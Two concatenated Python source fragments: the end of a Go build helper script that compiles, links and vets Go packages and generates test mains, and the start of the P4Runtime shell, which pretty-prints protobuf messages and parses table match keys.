info = get_import_config_info(peers, gen_importmap, import_map, module_map)
for key in ('importmap', 'packagefile'):
for item in info[key]:
lines.append('{} {}={}'.format(key, *item))
if len(lines) > 0:
lines.append('')
content = '\n'.join(lines)
# print >>sys.stderr, content
with tempfile.NamedTemporaryFile(delete=False) as f:
f.write(content)
return f.name
return None
def vet_info_output_name(path):
return path + '.vet.out'
def vet_report_output_name(path):
return path + '.vet.txt'
def get_source_path(args):
return args.test_import_path or args.module_path
def gen_vet_info(args):
import_path = args.real_import_path if hasattr(args, 'real_import_path') else args.import_path
info = get_import_config_info(args.peers, True, args.import_map, args.module_map)
import_map = dict(info['importmap'])
# FIXME(snermolaev): it seems that adding import map for 'fake' package
# does't make any harm (it needs to be revised later)
import_map['unsafe'] = 'unsafe'
for (key, _) in info['packagefile']:
if key not in import_map:
import_map[key] = key
data = {
'ID': import_path,
'Compiler': 'gc',
'Dir': os.path.join(args.arc_source_root, get_source_path(args)),
'ImportPath': import_path,
'GoFiles': list(filter(lambda x: x.endswith('.go'), args.go_srcs)),
'NonGoFiles': list(filter(lambda x: not x.endswith('.go'), args.go_srcs)),
'ImportMap': import_map,
'PackageFile': dict(info['packagefile']),
'Standard': dict(info['standard']),
'PackageVetx': dict((key, vet_info_output_name(value)) for key, value in info['packagefile']),
'VetxOnly': False,
'VetxOutput': vet_info_output_name(args.output),
'SucceedOnTypecheckFailure': False
}
# print >>sys.stderr, json.dumps(data, indent=4)
return data
def create_vet_config(args, info):
with tempfile.NamedTemporaryFile(delete=False, suffix='.cfg') as f:
f.write(json.dumps(info))
return f.name
def decode_vet_report(json_report):
report = ''
if json_report:
try:
full_diags = json.JSONDecoder(encoding='UTF-8').decode(json_report)
except ValueError:
report = json_report
else:
messages = []
for _, module_diags in full_diags.iteritems():
for _, type_diags in module_diags.iteritems():
for diag in type_diags:
messages.append(u'{}: {}'.format(diag['posn'], diag['message']))
report = '\n'.join(sorted(messages)).encode('UTF-8')
return report
def dump_vet_report(args, report):
if report:
report = report.replace(args.build_root, '$B')
report = report.replace(args.arc_source_root, '$S')
with open(args.vet_report_output, 'w') as f:
f.write(report)
def read_vet_report(args):
assert args
report = ''
if os.path.exists(args.vet_report_output):
with open(args.vet_report_output, 'r') as f:
report += f.read()
return report
def dump_vet_report_for_tests(args, *test_args_list):
dump_vet_report(args, reduce(lambda x, y: x + read_vet_report(y), filter(None, test_args_list), ''))
def do_vet(args):
assert args.vet
info = gen_vet_info(args)
vet_config = create_vet_config(args, info)
cmd = [args.go_vet, '-json']
if args.vet_flags:
cmd.extend(args.vet_flags)
cmd.append(vet_config)
p_vet = subprocess.Popen(cmd, stdin=None, stderr=subprocess.PIPE, stdout=subprocess.PIPE, cwd=args.build_root)
vet_out, vet_err = p_vet.communicate()
report = decode_vet_report(vet_out) if vet_out else ''
dump_vet_report(args, report)
if p_vet.returncode:
raise subprocess.CalledProcessError(returncode=p_vet.returncode, cmd=cmd, output=vet_err)
def _do_compile_go(args):
import_path, is_std_module = args.import_path, args.is_std
cmd = [args.go_compile, '-o', args.output, '-trimpath', args.arc_source_root, '-p', import_path, '-D', '""']
cmd += ['-goversion', 'go' + args.goversion]
if is_std_module:
cmd.append('-std')
if import_path == 'runtime' or import_path.startswith('runtime/internal/'):
cmd.append('-+')
import_config_name = create_import_config(args.peers, True, args.import_map, args.module_map)
if import_config_name:
cmd += ['-importcfg', import_config_name]
else:
if import_path == 'unsafe' or len(args.objects) > 0 or args.asmhdr:
pass
else:
cmd.append('-complete')
if args.asmhdr:
cmd += ['-asmhdr', args.asmhdr]
if compare_versions('1.12', args.goversion) >= 0:
if args.symabis:
cmd += ['-symabis'] + args.symabis
if compare_versions('1.13', args.goversion) >= 0:
pass
elif import_path in ('runtime', 'runtime/internal/atomic'):
cmd.append('-allabis')
compile_workers = '4'
if args.compile_flags:
cmd += args.compile_flags
if '-race' in args.compile_flags:
compile_workers = '1'
cmd += ['-pack', '-c={}'.format(compile_workers)]
cmd += args.go_srcs
call(cmd, args.build_root)
class VetThread(threading.Thread):
def __init__(self, target, args):
super(VetThread, self).__init__(target=target, args=args)
self.exc_info = None
def run(self):
try:
super(VetThread, self).run()
except:
self.exc_info = sys.exc_info()
def join_with_exception(self, reraise_exception):
self.join()
if reraise_exception and self.exc_info:
raise self.exc_info[0], self.exc_info[1], self.exc_info[2]
def do_compile_go(args):
raise_exception_from_vet = False
if args.vet:
run_vet = VetThread(target=do_vet, args=(args,))
run_vet.start()
try:
_do_compile_go(args)
raise_exception_from_vet = True
finally:
if args.vet:
run_vet.join_with_exception(raise_exception_from_vet)
def do_compile_asm(args):
assert(len(args.srcs) == 1 and len(args.asm_srcs) == 1)
cmd = [args.go_asm, '-trimpath', args.arc_source_root]
cmd += ['-I', args.output_root, '-I', os.path.join(args.pkg_root, 'include')]
cmd += ['-D', 'GOOS_' + args.targ_os, '-D', 'GOARCH_' + args.targ_arch, '-o', args.output]
if args.asm_flags:
cmd += args.asm_flags
cmd += args.asm_srcs
call(cmd, args.build_root)
def do_link_lib(args):
if len(args.asm_srcs) > 0:
asmargs = copy_args(args)
asmargs.asmhdr = os.path.join(asmargs.output_root, 'go_asm.h')
do_compile_go(asmargs)
for src in asmargs.asm_srcs:
asmargs.srcs = [src]
asmargs.asm_srcs = [src]
asmargs.output = os.path.join(asmargs.output_root, os.path.basename(src) + '.o')
do_compile_asm(asmargs)
args.objects.append(asmargs.output)
else:
do_compile_go(args)
if args.objects:
cmd = [args.go_pack, 'r', args.output] + args.objects + args.sysos
call(cmd, args.build_root)
def do_link_exe(args):
assert args.extld is not None
assert args.non_local_peers is not None
compile_args = copy_args(args)
compile_args.output = os.path.join(args.output_root, 'main.a')
compile_args.real_import_path = compile_args.import_path
compile_args.import_path = 'main'
if args.vcs and os.path.isfile(compile_args.vcs):
build_info = os.path.join('library', 'go', 'core', 'buildinfo')
if any(map(lambda x: x.startswith(build_info), compile_args.peers)):
compile_args.go_srcs.append(compile_args.vcs)
do_link_lib(compile_args)
cmd = [args.go_link, '-o', args.output]
import_config_name = create_import_config(args.peers + args.non_local_peers, False, args.import_map, args.module_map)
if import_config_name:
cmd += ['-importcfg', import_config_name]
if args.link_flags:
cmd += args.link_flags
cmd += ['-buildmode=exe', '-extld={}'.format(args.extld)]
extldflags = []
if args.extldflags is not None:
filter_musl = None
if args.musl:
cmd.append('-linkmode=external')
extldflags.append('-static')
filter_musl = lambda x: not x in ('-lc', '-ldl', '-lm', '-lpthread', '-lrt')
extldflags += list(filter(filter_musl, args.extldflags))
if args.cgo_peers is not None and len(args.cgo_peers) > 0:
is_group = args.targ_os == 'linux'
if is_group:
extldflags.append('-Wl,--start-group')
extldflags.extend(os.path.join(args.build_root, x) for x in args.cgo_peers)
if is_group:
extldflags.append('-Wl,--end-group')
if len(extldflags) > 0:
cmd.append('-extldflags=' + ' '.join(extldflags))
cmd.append(compile_args.output)
call(cmd, args.build_root)
def gen_cover_info(args):
lines = []
lines.extend([
"""
var (
coverCounters = make(map[string][]uint32)
coverBlocks = make(map[string][]testing.CoverBlock)
)
""",
'func init() {',
])
for var, file in (x.split(':') for x in args.cover_info):
lines.append(' coverRegisterFile("{file}", _cover0.{var}.Count[:], _cover0.{var}.Pos[:], _cover0.{var}.NumStmt[:])'.format(file=file, var=var))
lines.extend([
'}',
"""
func coverRegisterFile(fileName string, counter []uint32, pos []uint32, numStmts []uint16) {
if 3*len(counter) != len(pos) || len(counter) != len(numStmts) {
panic("coverage: mismatched sizes")
}
if coverCounters[fileName] != nil {
// Already registered.
return
}
coverCounters[fileName] = counter
block := make([]testing.CoverBlock, len(counter))
for i := range counter {
block[i] = testing.CoverBlock{
Line0: pos[3*i+0],
Col0: uint16(pos[3*i+2]),
Line1: pos[3*i+1],
Col1: uint16(pos[3*i+2]>>16),
Stmts: numStmts[i],
}
}
coverBlocks[fileName] = block
}
""",
])
return lines
def gen_test_main(args, test_lib_args, xtest_lib_args):
assert args and (test_lib_args or xtest_lib_args)
test_miner = args.test_miner
test_module_path = test_lib_args.import_path if test_lib_args else xtest_lib_args.import_path
is_cover = args.cover_info and len(args.cover_info) > 0
# Prepare GOPATH
# $BINDIR
# |- __go__
# |- src
# |- pkg
# |- ${TARGET_OS}_${TARGET_ARCH}
go_path_root = os.path.join(args.output_root, '__go__')
test_src_dir = os.path.join(go_path_root, 'src')
target_os_arch = '_'.join([args.targ_os, args.targ_arch])
test_pkg_dir = os.path.join(go_path_root, 'pkg', target_os_arch, os.path.dirname(test_module_path))
os.makedirs(test_pkg_dir)
my_env = os.environ.copy()
my_env['GOROOT'] = ''
my_env['GOPATH'] = go_path_root
my_env['GOARCH'] = args.targ_arch
my_env['GOOS'] = args.targ_os
tests = []
xtests = []
os_symlink = get_symlink_or_copyfile()
# Get the list of "internal" tests
if test_lib_args:
os.makedirs(os.path.join(test_src_dir, test_module_path))
os_symlink(test_lib_args.output, os.path.join(test_pkg_dir, os.path.basename(test_module_path) + '.a'))
cmd = [test_miner, '-benchmarks', '-tests', test_module_path]
tests = filter(lambda x: len(x) > 0, (call(cmd, test_lib_args.output_root, my_env) or '').strip().split('\n'))
test_main_found = '#TestMain' in tests
# Get the list of "external" tests
if xtest_lib_args:
xtest_module_path = xtest_lib_args.import_path
os.makedirs(os.path.join(test_src_dir, xtest_module_path))
os_symlink(xtest_lib_args.output, os.path.join(test_pkg_dir, os.path.basename(xtest_module_path) + '.a'))
cmd = [test_miner, '-benchmarks', '-tests', xtest_module_path]
xtests = filter(lambda x: len(x) > 0, (call(cmd, xtest_lib_args.output_root, my_env) or '').strip().split('\n'))
xtest_main_found = '#TestMain' in xtests
test_main_package = None
if test_main_found and xtest_main_found:
assert False, 'multiple definition of TestMain'
elif test_main_found:
test_main_package = '_test'
elif xtest_main_found:
test_main_package = '_xtest'
shutil.rmtree(go_path_root)
lines = ['package main', '', 'import (']
if test_main_package is None:
lines.append(' "os"')
lines.extend([' "testing"', ' "testing/internal/testdeps"'])
if len(tests) > 0:
lines.append(' _test "{}"'.format(test_module_path))
elif test_lib_args:
lines.append(' _ "{}"'.format(test_module_path))
if len(xtests) > 0:
lines.append(' _xtest "{}"'.format(xtest_module_path))
elif xtest_lib_args:
lines.append(' _ "{}"'.format(xtest_module_path))
if is_cover:
lines.append(' _cover0 "{}"'.format(test_module_path))
lines.extend([')', ''])
for kind in ['Test', 'Benchmark', 'Example']:
lines.append('var {}s = []testing.Internal{}{{'.format(kind.lower(), kind))
for test in list(filter(lambda x: x.startswith(kind), tests)):
lines.append(' {{"{test}", _test.{test}}},'.format(test=test))
for test in list(filter(lambda x: x.startswith(kind), xtests)):
lines.append(' {{"{test}", _xtest.{test}}},'.format(test=test))
lines.extend(['}', ''])
if is_cover:
lines.extend(gen_cover_info(args))
lines.append('func main() {')
if is_cover:
lines.extend([
' testing.RegisterCover(testing.Cover{',
' Mode: "set",',
' Counters: coverCounters,',
' Blocks: coverBlocks,',
' CoveredPackages: "",',
' })',
])
lines.extend([
' m := testing.MainStart(testdeps.TestDeps{}, tests, benchmarks, examples)'
'',
])
if test_main_package:
lines.append(' {}.TestMain(m)'.format(test_main_package))
else:
lines.append(' os.Exit(m.Run())')
lines.extend(['}', ''])
content = '\n'.join(lines)
# print >>sys.stderr, content
return content
def do_link_test(args):
assert args.srcs or args.xtest_srcs
assert args.test_miner is not None
test_module_path = get_source_path(args)
test_import_path, _ = get_import_path(test_module_path)
test_lib_args = None
xtest_lib_args = None
if args.srcs:
test_lib_args = copy_args(args)
test_lib_args.output = os.path.join(args.output_root, 'test.a')
test_lib_args.vet_report_output = vet_report_output_name(test_lib_args.output)
test_lib_args.module_path = test_module_path
test_lib_args.import_path = test_import_path
do_link_lib(test_lib_args)
if args.xtest_srcs:
xtest_lib_args = copy_args(args)
xtest_lib_args.srcs = xtest_lib_args.xtest_srcs
classify_srcs(xtest_lib_args.srcs, xtest_lib_args)
xtest_lib_args.output = os.path.join(args.output_root, 'xtest.a')
xtest_lib_args.vet_report_output = vet_report_output_name(xtest_lib_args.output)
xtest_lib_args.module_path = test_module_path + '_test'
xtest_lib_args.import_path = test_import_path + '_test'
if test_lib_args:
xtest_lib_args.module_map[test_import_path] = test_lib_args.output
do_link_lib(xtest_lib_args)
test_main_content = gen_test_main(args, test_lib_args, xtest_lib_args)
test_main_name = os.path.join(args.output_root, '_test_main.go')
with open(test_main_name, "w") as f:
f.write(test_main_content)
test_args = copy_args(args)
test_args.srcs = [test_main_name]
if test_args.test_import_path is None:
# it seems that we can do it unconditionally, but this kind
# of mangling doesn't really looks good to me and we leave it
# for pure GO_TEST module
test_args.module_path = test_args.module_path + '___test_main__'
test_args.import_path = test_args.import_path + '___test_main__'
classify_srcs(test_args.srcs, test_args)
if test_lib_args:
test_args.module_map[test_lib_args.import_path] = test_lib_args.output
if xtest_lib_args:
test_args.module_map[xtest_lib_args.import_path] = xtest_lib_args.output
if args.vet:
dump_vet_report_for_tests(test_args, test_lib_args, xtest_lib_args)
test_args.vet = False
do_link_exe(test_args)
if __name__ == '__main__':
parser = argparse.ArgumentParser(prefix_chars='+')
parser.add_argument('++mode', choices=['lib', 'exe', 'test'], required=True)
parser.add_argument('++srcs', nargs='*', required=True)
parser.add_argument('++cgo-srcs', nargs='*')
parser.add_argument('++test_srcs', nargs='*')
parser.add_argument('++xtest_srcs', nargs='*')
parser.add_argument('++cover_info', nargs='*')
parser.add_argument('++output', nargs='?', default=None)
parser.add_argument('++build-root', required=True)
parser.add_argument('++output-root', required=True)
parser.add_argument('++tools-root', required=True)
parser.add_argument('++host-os', choices=['linux', 'darwin', 'windows'], required=True)
parser.add_argument('++host-arch', choices=['amd64'], required=True)
parser.add_argument('++targ-os', choices=['linux', 'darwin', 'windows'], required=True)
parser.add_argument('++targ-arch', choices=['amd64', 'x86'], required=True)
parser.add_argument('++peers', nargs='*')
parser.add_argument('++non-local-peers', nargs='*')
parser.add_argument('++cgo-peers', nargs='*')
parser.add_argument('++asmhdr', nargs='?', default=None)
parser.add_argument('++test-import-path', nargs='?')
parser.add_argument('++test-miner', nargs='?')
parser.add_argument('++arc-project-prefix', nargs='?', default=arc_project_prefix)
parser.add_argument('++std-lib-prefix', nargs='?', default=std_lib_prefix)
parser.add_argument('++extld', nargs='?', default=None)
parser.add_argument('++extldflags', nargs='+', default=None)
parser.add_argument('++goversion', required=True)
parser.add_argument('++asm-flags', nargs='*')
parser.add_argument('++compile-flags', nargs='*')
parser.add_argument('++link-flags', nargs='*')
parser.add_argument('++vcs', nargs='?', default=None)
parser.add_argument('++vet', nargs='?', const=True, default=False)
parser.add_argument('++vet-flags', nargs='*', default=None)
parser.add_argument('++arc-source-root')
parser.add_argument('++musl', action='store_true')
args = parser.parse_args()
# Temporary work around for noauto
if args.cgo_srcs and len(args.cgo_srcs) > 0:
cgo_srcs_set = set(args.cgo_srcs)
args.srcs = list(filter(lambda x: x not in cgo_srcs_set, args.srcs))
args.pkg_root = os.path.join(str(args.tools_root), 'pkg')
args.tool_root = os.path.join(args.pkg_root, 'tool', '{}_{}'.format(args.host_os, args.host_arch))
args.go_compile = os.path.join(args.tool_root, 'compile')
args.go_cgo = os.path.join(args.tool_root, 'cgo')
args.go_link = os.path.join(args.tool_root, 'link')
args.go_asm = os.path.join(args.tool_root, 'asm')
args.go_pack = os.path.join(args.tool_root, 'pack')
args.go_vet = os.path.join(args.tool_root, 'vet') if args.vet is True else args.vet
args.output = os.path.normpath(args.output)
args.vet_report_output = vet_report_output_name(args.output)
args.build_root = os.path.normpath(args.build_root) + os.path.sep
args.output_root = os.path.normpath(args.output_root)
args.import_map = {}
args.module_map = {}
assert args.mode == 'test' or args.test_srcs is None and args.xtest_srcs is None
# add lexical oreder by basename for go sources
args.srcs.sort(key=lambda x: os.path.basename(x))
if args.test_srcs:
args.srcs += sorted(args.test_srcs, key=lambda x: os.path.basename(x))
del args.test_srcs
if args.xtest_srcs:
args.xtest_srcs.sort(key=lambda x: os.path.basename(x))
arc_project_prefix = args.arc_project_prefix
std_lib_prefix = args.std_lib_prefix
# compute root relative module dir path
assert args.output is None or args.output_root == os.path.dirname(args.output)
assert args.output_root.startswith(args.build_root)
args.module_path = args.output_root[len(args.build_root):]
assert len(args.module_path) > 0
args.import_path, args.is_std = get_import_path(args.module_path)
classify_srcs(args.srcs, args)
assert args.asmhdr is None or args.word == 'go'
try:
os.unlink(args.output)
except OSError:
pass
# We are going to support only 'lib', 'exe' and 'cgo' build modes currently
# and as a result we are going to generate only one build node per module
# (or program)
dispatch = {
'lib': do_link_lib,
'exe': do_link_exe,
'test': do_link_test
}
exit_code = 1
try:
dispatch[args.mode](args)
exit_code = 0
except KeyError:
print >>sys.stderr, 'Unknown build mode [{}]...'.format(args.mode)
except subprocess.CalledProcessError as e:
print >>sys.stderr, '{} returned non-zero exit code {}. stop.'.format(' '.join(e.cmd), e.returncode)
print >>sys.stderr, e.output
exit_code = e.returncode
except Exception as e:
print >>sys.stderr, "Unhandled exception [{}]...".format(str(e))
sys.exit(exit_code)
|
shell.py | # Copyright 2019 Barefoot Networks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import argparse
import time
from collections import Counter, namedtuple, OrderedDict
import enum
import logging
from threading import Thread
from IPython import start_ipython
from traitlets.config.loader import Config
from IPython.terminal.prompts import Prompts, Token
import os.path
import sys
from p4runtime_sh.p4runtime import P4RuntimeClient, P4RuntimeException, parse_p4runtime_error
from p4.v1 import p4runtime_pb2
from p4.config.v1 import p4info_pb2
from . import bytes_utils
from . global_options import global_options
from .context import P4RuntimeEntity, P4Type, Context
from .utils import UserError, InvalidP4InfoError
import google.protobuf.text_format
from google.protobuf import descriptor
import queue
context = Context()
client = None
class UserUsageError(UserError):
def __init__(self, usage):
self.usage = usage
def __str__(self):
return "Usage: " + self.usage
class NotSupportedYet(UserError):
def __init__(self, what):
self.what = what
def __str__(self):
return "{} is not supported yet".format(self.what)
class _PrintContext:
def __init__(self):
self.skip_one = False
self.stack = []
def find_table(self):
for msg in reversed(self.stack):
if msg.DESCRIPTOR.name == "TableEntry":
try:
return context.get_name_from_id(msg.table_id)
except KeyError:
return None
return None
def find_action(self):
for msg in reversed(self.stack):
if msg.DESCRIPTOR.name == "Action":
try:
return context.get_name_from_id(msg.action_id)
except KeyError:
return None
return None
def find_controller_packet_metadata(self):
for msg in reversed(self.stack):
if msg.DESCRIPTOR.name == "PacketIn":
return "packet_in"
if msg.DESCRIPTOR.name == "PacketOut":
return "packet_out"
return None
def _sub_object(field, value, pcontext):
id_ = value
try:
return context.get_name_from_id(id_)
except KeyError:
logging.error("Unknown object id {}".format(id_))
def _sub_mf(field, value, pcontext):
id_ = value
table_name = pcontext.find_table()
if table_name is None:
logging.error("Cannot find any table in context")
return
return context.get_mf_name(table_name, id_)
def _sub_ap(field, value, pcontext):
id_ = value
action_name = pcontext.find_action()
if action_name is None:
logging.error("Cannot find any action in context")
return
return context.get_param_name(action_name, id_)
def _sub_pkt_md(field, value, pcontext):
id_ = value
ctrl_pkt_md_name = pcontext.find_controller_packet_metadata()
return context.get_packet_metadata_name_from_id(ctrl_pkt_md_name, id_)
def _gen_pretty_print_proto_field(substitutions, pcontext):
def myPrintField(self, field, value):
self._PrintFieldName(field)
self.out.write(' ')
if field.type == descriptor.FieldDescriptor.TYPE_BYTES:
# TODO(antonin): any kind of checks required?
self.out.write('\"')
self.out.write(''.join('\\\\x{:02x}'.format(b) for b in value))
self.out.write('\"')
else:
self.PrintFieldValue(field, value)
subs = None
if field.containing_type is not None:
subs = substitutions.get(field.containing_type.name, None)
if subs and field.name in subs and value != 0:
name = subs[field.name](field, value, pcontext)
self.out.write(' ("{}")'.format(name))
self.out.write(' ' if self.as_one_line else '\n')
return myPrintField
def _repr_pretty_proto(msg, substitutions):
"""A custom version of google.protobuf.text_format.MessageToString which represents Protobuf
messages with a more user-friendly string. In particular, P4Runtime ids are supplemented with
the P4 name and binary strings are displayed in hexadecimal format."""
pcontext = _PrintContext()
def message_formatter(message, indent, as_one_line):
# For each messages we do 2 passes: the first one updates the _PrintContext instance and
# calls MessageToString again. The second pass returns None immediately (default handling by
# text_format).
if pcontext.skip_one:
pcontext.skip_one = False
return
pcontext.stack.append(message)
pcontext.skip_one = True
s = google.protobuf.text_format.MessageToString(
message, indent=indent, as_one_line=as_one_line, message_formatter=message_formatter)
s = s[indent:-1]
pcontext.stack.pop()
return s
# We modify the "internals" of the text_format module which is not great as it may break in the
# future, but this enables us to keep the code fairly small.
saved_printer = google.protobuf.text_format._Printer.PrintField
google.protobuf.text_format._Printer.PrintField = _gen_pretty_print_proto_field(
substitutions, pcontext)
s = google.protobuf.text_format.MessageToString(msg, message_formatter=message_formatter)
google.protobuf.text_format._Printer.PrintField = saved_printer
return s
def _repr_pretty_p4info(msg):
substitutions = {
"Table": {"const_default_action_id": _sub_object,
"implementation_id": _sub_object,
"direct_resource_ids": _sub_object},
"ActionRef": {"id": _sub_object},
"ActionProfile": {"table_ids": _sub_object},
"DirectCounter": {"direct_table_id": _sub_object},
"DirectMeter": {"direct_table_id": _sub_object},
}
return _repr_pretty_proto(msg, substitutions)
def _repr_pretty_p4runtime(msg):
substitutions = {
"TableEntry": {"table_id": _sub_object},
"FieldMatch": {"field_id": _sub_mf},
"Action": {"action_id": _sub_object},
"Param": {"param_id": _sub_ap},
"ActionProfileMember": {"action_profile_id": _sub_object},
"ActionProfileGroup": {"action_profile_id": _sub_object},
"MeterEntry": {"meter_id": _sub_object},
"CounterEntry": {"counter_id": _sub_object},
"ValueSetEntry": {"value_set_id": _sub_object},
"RegisterEntry": {"register_id": _sub_object},
"DigestEntry": {"digest_id": _sub_object},
"DigestListAck": {"digest_id": _sub_object},
"DigestList": {"digest_id": _sub_object},
"PacketMetadata": {"metadata_id": _sub_pkt_md}
}
return _repr_pretty_proto(msg, substitutions)
class P4Object:
def __init__(self, obj_type, obj):
self.name = obj.preamble.name
self.id = obj.preamble.id
self._obj_type = obj_type
self._obj = obj
self.__doc__ = """
A wrapper around the P4Info Protobuf message for {} '{}'.
You can access any field from the message with <self>.<field name>.
You can access the name directly with <self>.name.
You can access the id directly with <self>.id.
If you need the underlying Protobuf message, you can access it with msg().
""".format(obj_type.pretty_name, self.name)
def __dir__(self):
d = ["info", "msg", "name", "id"]
if self._obj_type == P4Type.table:
d.append("actions")
return d
def _repr_pretty_(self, p, cycle):
p.text(_repr_pretty_p4info(self._obj))
def __str__(self):
return _repr_pretty_p4info(self._obj)
def __getattr__(self, name):
return getattr(self._obj, name)
def __settattr__(self, name, value):
return UserError("Operation not supported")
def msg(self):
"""Get Protobuf message object"""
return self._obj
def info(self):
print(_repr_pretty_p4info(self._obj))
def actions(self):
"""Print list of actions, only for tables and action profiles."""
if self._obj_type == P4Type.table:
for action in self._obj.action_refs:
print(context.get_name_from_id(action.id))
elif self._obj_type == P4Type.action_profile:
t_id = self._obj.table_ids[0]
t_name = context.get_name_from_id(t_id)
t = context.get_table(t_name)
for action in t.action_refs:
print(context.get_name_from_id(action.id))
else:
raise UserError("'actions' is only available for tables and action profiles")
class P4Objects:
def __init__(self, obj_type):
self._obj_type = obj_type
self._names = sorted([name for name, _ in context.get_objs(obj_type)])
self._iter = None
self.__doc__ = """
All the {pnames} in the P4 program.
To access a specific {pname}, use {p4info}['<name>'].
You can use this class to iterate over all {pname} instances:
\tfor x in {p4info}:
\t\tprint(x.id)
""".format(pname=obj_type.pretty_name, pnames=obj_type.pretty_names, p4info=obj_type.p4info_name)
def __call__(self):
for name in self._names:
print(name)
def _ipython_key_completions_(self):
return self._names
def __getitem__(self, name):
obj = context.get_obj(self._obj_type, name)
if obj is None:
raise UserError("{} '{}' does not exist".format(
self._obj_type.pretty_name, name))
return P4Object(self._obj_type, obj)
def __setitem__(self, name, value):
raise UserError("Operation not allowed")
def _repr_pretty_(self, p, cycle):
p.text(self.__doc__)
def __iter__(self):
self._iter = iter(self._names)
return self
def __next__(self):
name = next(self._iter)
return self[name]
class MatchKey:
def __init__(self, table_name, match_fields):
self._table_name = table_name
self._fields = OrderedDict()
self._fields_suffixes = {}
for mf in match_fields:
self._add_field(mf)
self._mk = OrderedDict()
self._set_docstring()
def _set_docstring(self):
self.__doc__ = "Match key fields for table '{}':\n\n".format(self._table_name)
for name, info in self._fields.items():
self.__doc__ += str(info)
self.__doc__ += """
Set a field value with <self>['<field_name>'] = '...'
* For exact match: <self>['<f>'] = '<value>'
* For ternary match: <self>['<f>'] = '<value>&&&<mask>'
* For LPM match: <self>['<f>'] = '<value>/<mask>'
* For range match: <self>['<f>'] = '<value>..<mask>'
* For optional match: <self>['<f>'] = '<value>'
If it's inconvenient to use the whole field name, you can use a unique suffix.
You may also use <self>.set(<f>='<value>')
\t(<f> must not include a '.' in this case, but remember that you can use a unique suffix)
"""
def _ipython_key_completions_(self):
return self._fields.keys()
def __dir__(self):
return ["clear"]
def _get_mf(self, name):
if name in self._fields:
return self._fields[name]
if name in self._fields_suffixes:
return self._fields[self._fields_suffixes[name]]
raise UserError(
"'{}' is not a valid match field name, nor a valid unique suffix, "
"for table '{}'".format(name, self._table_name))
def __setitem__(self, name, value):
field_info = self._get_mf(name)
self._mk[name] = self._parse_mf(value, field_info)
print(self._mk[name])
def __getitem__(self, name):
_ = self._get_mf(name)
print(self._mk.get(name, "Unset"))
def _parse_mf(self, s, field_info):
if type(s) is not str:
raise UserError("Match field value must be a string")
if field_info.match_type == p4info_pb2.MatchField.EXACT:
return self._parse_mf_exact(s, field_info)
elif field_info.match_type == p4info_pb2.MatchField.LPM:
return self._parse_mf_lpm(s, field_info)
elif field_info.match_type == p4info_pb2.MatchField.TERNARY:
return self._parse_mf_ternary(s, field_info)
elif field_info.match_type == p4info_pb2.MatchField.RANGE:
return self._parse_mf_range(s, field_info)
elif field_info.match_type == p4info_pb2.MatchField.OPTIONAL:
return self._parse_mf_optional(s, field_info)
else:
raise UserError("Unsupported match type for field:\n{}".format(field_info))
def _parse_mf_exact(self, s, field_info):
v = bytes_utils.parse_value(s.strip(), field_info.bitwidth)
return self._sanitize_and_convert_mf_exact(v, field_info)
def _sanitize_and_convert_mf_exact(self, value, field_info):
mf = p4runtime_pb2.FieldMatch()
mf.field_id = field_info.id
mf.exact.value = bytes_utils.make_canonical_if_option_set(value)
return mf
def _parse_mf_optional(self, s, field_info):
v = bytes_utils.parse_value(s.strip(), field_info.bitwidth)
return self._sanitize_and_convert_mf_optional(v, field_info)
def _sanitize_and_convert_mf_optional(self, value, field_info):
mf = p4runtime_pb2.FieldMatch()
mf.field_id = field_info.id
mf.optional.value = bytes_utils.make_canonical_if_option_set(value)
return mf
def _parse_mf_lpm(self, s, field_info):
try:
prefix, length = s.split('/')
prefix, length = prefix.strip(), length.strip()
except ValueError:
prefix = s
length = str(field_info.bitwidth)
prefix = bytes_utils.parse_value(prefix, field_info.bitwidth)
try:
length = int(length)
except ValueError:
raise UserError("'{}' is not a valid prefix length").format(length)
return self._sanitize_and_convert_mf_lpm(prefix, length, field_info)
def _sanitize_and_convert_mf_lpm(self, prefix, length, field_info):
if length == 0:
raise UserError(
"Ignoring LPM don't care match (prefix length of 0) as per P4Runtime spec")
mf = p4runtime_pb2.FieldMatch()
mf.field_id = field_info.id
mf.lpm.prefix_len = length
first_byte_masked = length // 8
if first_byte_masked == len(prefix):
mf.lpm.value = prefix
return mf
barray = bytearray(prefix)
transformed = False
r = length % 8
byte_mask = 0xff & ((0xff << (8 - r)))
if barray[first_byte_masked] & byte_mask != barray[first_byte_masked]:
transformed = True
barray[first_byte_masked] = barray[first_byte_masked] & byte_mask
for i in range(first_byte_masked + 1, len(prefix)):
if barray[i] != 0:
transformed = True
barray[i] = 0
if transformed:
print("LPM value was transformed to conform to the P4Runtime spec "
"(trailing bits must be unset)")
mf.lpm.value = bytes(bytes_utils.make_canonical_if_option_set(barray))
return mf
def _parse_mf_ternary(self, s, field_info):
try:
value, mask = s.split('&&&')
value, mask = value.strip(), mask.strip()
except ValueError:
value = s.strip()
mask = "0b" + ("1" * field_info.bitwidth)
value = bytes_utils.parse_value(value, field_info.bitwidth)
mask = bytes_utils.parse_value(mask, field_info.bitwidth)
return self._sanitize_and_convert_mf_ternary(value, mask, field_info)
def _sanitize_and_convert_mf_ternary(self, value, mask, field_info):
if int.from_bytes(mask, byteorder='big') == 0:
raise UserError("Ignoring ternary don't care match (mask of 0s) as per P4Runtime spec")
mf = p4runtime_pb2.FieldMatch()
mf.field_id = field_info.id
barray = bytearray(value)
transformed = False
for i in range(len(value)):
if barray[i] & mask[i] != barray[i]:
transformed = True
barray[i] = barray[i] & mask[i]
if transformed:
print("Ternary value was transformed to conform to the P4Runtime spec "
"(masked off bits must be unset)")
mf.ternary.value = bytes(bytes_utils.make_canonical_if_option_set(barray))
mf.ternary.mask = bytes_utils.make_canonical_if_option_set(mask)
return mf
def _parse_mf_range(self, s, field_info):
try:
start, end = s.split('..')
start, end = start.strip(), end.strip()
except ValueError:
raise UserError("'{}' does not specify a valid range, use '<start>..<end>'").format(
s)
start = bytes_utils.parse_value(start, field_info.bitwidth)
end = bytes_utils.parse_value(end, field_info.bitwidth)
return self._sanitize_and_convert_mf_range(start, end, field_info)
def _sanitize_and_convert_mf_range(self, start, end, field_info):
# It's a bit silly: the fields are converted from str to int to bytes by bytes_utils, then
# converted back to int here...
start_ = int.from_bytes(start, byteorder='big')
